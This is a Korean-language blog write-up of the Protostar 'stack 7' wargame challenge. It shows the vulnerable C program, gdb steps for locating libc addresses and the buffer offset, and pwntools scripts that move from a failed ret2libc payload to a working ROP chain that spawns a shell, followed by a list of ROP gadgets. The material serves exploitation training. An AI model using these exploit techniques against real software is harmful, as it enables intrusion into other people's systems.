시스템 해킹

Protostar - stack 7 ROP

taktaks 2024. 5. 19. 08:46
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();
}

protostar -stack 7의 코드이다

 

stack 6의 exploit 코드를 먼저 가져오자

 

 

#!stack6.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)

offset = 80

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack6'])
p.sendline(payload)
p.interactive()


 

이부분에서 6번과 같이 system주소, bin_sh주소를 찾습니다.

 

 

 

gdb ./stack7

 

b *main

 

run

 

disas system

print system

 

system 주소 = 0xf7c4c910

find /bin/sh

 

/bin/sh 주소 = 0xf7db5faa

disas main

b *main+14

 

pattern create 100

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

run

 

pattern offset 0x41414a41

patter offset의 주소 = 80인걸 확인했고

종합적으로 코드를 작성합니다.

 

#!stack7.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)
 
offset = 80

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack7'])
p.sendline(payload)
p.interactive()


 

이렇게 했을떄 실행을하게되면

 

정상적으로 코드실행이되지않고 함정에 걸린것을 확인할 수 있다

 

 

이떄 ROP기법을 사용하여 문제를 해결함

 

 

return을 바로 시스템으로 못하기떄문에 리턴하는 장소를 바꿉니다.

즉 return명령어가 있는 곳으로 실행을하고

다시 return을 하게되는데 리턴을 또하게되니까 그다음에 있는 주소를가지고와서 return을하게되는 구조를 가지게된다.

 

 

return을 하게되면 그떄 시스템이 오도록 하게만듭니다.

리턴을 또하게되면 그다음에 주소에있는 것을 실행하게되니까 

 

 

우리는 return주소를 추가해서 코드를 작성해주면된다!!!

 

 

return 주소 = 0x08048553

를 확인했다

 

이제 ret_addr 을 추가하여 코드를 작성해보자

 

 

#!stack7.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)
ret_addr = p32(0x08048553)

offset = 80

payload = b'A'*offset + ret_addr + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack7'])
p.sendline(payload)
p.interactive()

 

이렇게 ret_addr = p32(0x08048553)을 추가하고

payload에 ret_addr을 추가한뒤에 코드를 실행했다

 

exploit코드가 성공하였고명령어가 사용가능했다.

 

 

 

이것을 ROP라 부르며

Return

Oriented

Programming

리턴 기반의 프로그래밍 기법이다 

 

return -> return -> system 이렇게 진행한것

 

 

 

ROP는 일반적으로 수백개가 얽혀있는 케이스가 많은데

간단한 샘플이라 쉽게 구한것이고

 

peda에서 제공해주는 rop서치를 사용하면 보다 쉽게 주소를 구할 수 있다

 

 

disas main

b *main

run

 

ropgadget

을 실행하게되면

 

ret = 0x8048362
popret = 0x8048493
pop2ret = 0x8048492
pop3ret = 0x80485c6
pop4ret = 0x80485c5
addesp_12 = 0x804848f
addesp_44 = 0x80485c2

 

이렇게 나오게됩니다.

 

popret 은 중간에 스택이 있으면

 

쓰레기값이껴져있으면

argument 값으로 넘어왔는데 변경되거나 오염되지않기위해서 건너띄고 시스템을 작성한다

뺴지않고 시스템을 작성하면 오염된다.

 

즉 중간에있는 것을 버려야하는데 그때 pop - pop - 을 한다

return -> pop - pop - -> return을 한뒤에 -> system에 가서 실행

 

add exp도 그냥 스택을 내리는거 pop이랑 비슷함.